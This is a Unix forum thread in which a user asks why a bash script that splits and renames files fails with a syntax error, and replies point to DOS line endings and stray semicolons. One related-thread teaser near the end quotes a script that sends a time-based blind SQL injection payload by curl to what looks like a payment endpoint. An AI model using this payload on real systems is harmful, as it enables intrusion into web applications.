syntax error near unexpected token `for file in


 
Thread Tools Search this Thread
Top Forums Shell Programming and Scripting syntax error near unexpected token `for file in
# 1  
Old 01-19-2011
syntax error near unexpected token `for file in

I am trying to run the code below however I am getting a "syntax error near unexpected token `for file in error" on the line that is in red. I have the semicolons after every line because it will fail on the copy if I don't have them saying that it cannot stat directory. Is there something that I am missing that would cause it to give me this error? I would really appreciate any advice or improvements.

Code:
#!/bin/bash -x

original=ALPHA.jan.R120110117.142731.txt; 

origcp=$original.original;

location=/home/testfiles/;

rec=1000001;

DT=20110117;

TM=120000;

prefix=ALPHA.jan;



cp $location$original $location$origcp;



wc -l $location$original;

wc -l $location$origcp;



split -l $rec -a 3 $location$original $location$original;

chmod 775 $location$original???

for file in $location$original???
 
do

wc -l $location$original???

break

done;





ini=161;

i=161;

for file in $location$original???;

do

output=$(printf '%X' $i)$DT.$TM.txt;

  mv $file $prefix.$output

  i=$((i + 1 + 7*($i-$ini==8)))

  ini=$((ini + 16*($i-$ini>8)))

  

  print $file has been renamed to $prefix.$output

   done;

# 2  
Old 01-19-2011
I would suggest that the file is probably in DOS format (<CR> characters on the end of each line). Use dos2unix to fix it, and then get rid of the ; on the end of each line.

Also, you don't need a for loop to count the lines in the output files, so you can replace:
Code:
for file in $location$original???
do
    wc -l $location$original???
    break
done;

with: wc -l $location$original???

Use printf (or echo) not print:
Code:
printf "$file has been renamed to $prefix.$output"

# 3  
Old 01-20-2011
If the script was edited with something like M$ Notepad it will be in MSDOS format. The usual problem is that the file is copied from a M$ platform to a unix server using binary mode ftp (not text mode ftp).

Also lose the semi-colons. This is not Oracle. There is never a reason to end a line in a semi-colon.
# 4  
Old 01-20-2011
Hello,thanks to share with me but i'm beginner in programming so i can't help you.Thanks a lot again for sharing the information here...
Login or Register to Ask a Question

Previous Thread | Next Thread

10 More Discussions You Might Find Interesting

1. UNIX for Beginners Questions & Answers

Syntax error near unexpected token

Dears, While executing the below script im getting the error at line 30. Please let me know what changes to be done to fix this. test.sh: line 30: syntax error near unexpected token `done' test.sh: line 30: ` done ' #!/bin/sh # Rev. PA1 # author: eillops # date: 26-04-2018 # #... (1 Reply)
Discussion started by: Kamesh G
1 Replies

2. UNIX for Beginners Questions & Answers

Syntax error near unexpected token 'do'

Hello all, Please i have this command i used to zip different files in differents directory, but i have an error. Note that when i run the command in one directory it works fine. /X5/WORK/BGH/INV/REG/pdf/SEND/BGH12523/1/*.fo /X5/WORK/BGH/INV/REG/pdf/SEND/BGH24523/1/*.fo... (3 Replies)
Discussion started by: gillesi
3 Replies

3. Shell Programming and Scripting

Syntax error near unexpected token `else'

Hello every one!! I don't know where I am going wrong but I am finding it difficult to clear this error of syntax error near unexpected token `else' I am writing a simple shell script to find a file in a directory and if found execute that else return an error to the log file ... (14 Replies)
Discussion started by: masubram
14 Replies

4. Shell Programming and Scripting

Syntax error near unexpected token `else'

Hi, I am trying to read the session log through script. But it keeps showing me some error near. I have tried everything. Even tried converting the script using sed command to remove the hidden characters(\r).But nothing seems to be working.Below is the script : #!/bin/bash cd... (6 Replies)
Discussion started by: Aryan12345
6 Replies

5. Shell Programming and Scripting

Cannot execute/finish script because of last line syntax error: unexpected end of file/token `done'

first of all I thought the argument DONE is necessary for all scripts that have or begin with do statements which I have on my script, However, I still don't completely understand why I am receiving an error I tried adding another done argument statement but didn't do any good. I appreciate... (3 Replies)
Discussion started by: wolf@=NK
3 Replies

6. Shell Programming and Scripting

Syntax error near unexpected token `('

What do I do here? #!/bin/bash payload=-1 AND 1=IF(21,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)# hash=`echo -n $payload md5sum tr -d 'n' sed 'ss-sg' md5sum tr -d 'n' sed 'ss-sg'` curl --data cs2=chronopay&cs1=$payload&cs3=$hash&transaction_type=rebill... (2 Replies)
Discussion started by: iiiiiiiiiii
2 Replies

7. Shell Programming and Scripting

Syntax error near unexpected token `}' please help

I'm going mad not being able to get this to work. im assuming its only a simple mistake but its driving me bonkers trying to find it. Please if you can help me it would save me pulling my hair out!! Thanks #!/bin/bash -xv # #Config name="TEST Server" + name='TEST Server'... (6 Replies)
Discussion started by: Fisheh
6 Replies

8. UNIX for Dummies Questions & Answers

Syntax error near unexpected token

hi! just want to seek help on this error: syntax error near unexpected token 'do this is my script # !/bin/sh # for y in 27 25 do exemmlmx -c "ZEEI;" -n XRT$y >> blah done what can be wrong? thanks! (6 Replies)
Discussion started by: engr.jay
6 Replies

9. UNIX for Advanced & Expert Users

syntax error near unexpected token '{

Hi, I am running the following script through cygwin and getting below mentioned error. ******************************************* #!/bin/sh # constants WORK_DIR="deploy" INFOFILE="deploy.info" INTROFILE="Intro.sh" CMGMT_PKG="com.kintana.cmgmt.deploy" DEPLOY_PREFIX="mitg" ... (2 Replies)
Discussion started by: MandyR
2 Replies

10. Shell Programming and Scripting

sh syntax error unexpected token done

I'm getting the following error: line 21: syntax error near unexpected token `done` line 21: `done` and I haven't been able to figure out why. Here is my code #!/bin/sh if ; then echo 'Usage: rename getexp/replStr ' exit 0 fi arg = $1 shift while ; do (5 Replies)
Discussion started by: NullPointer
5 Replies
Login or Register to Ask a Question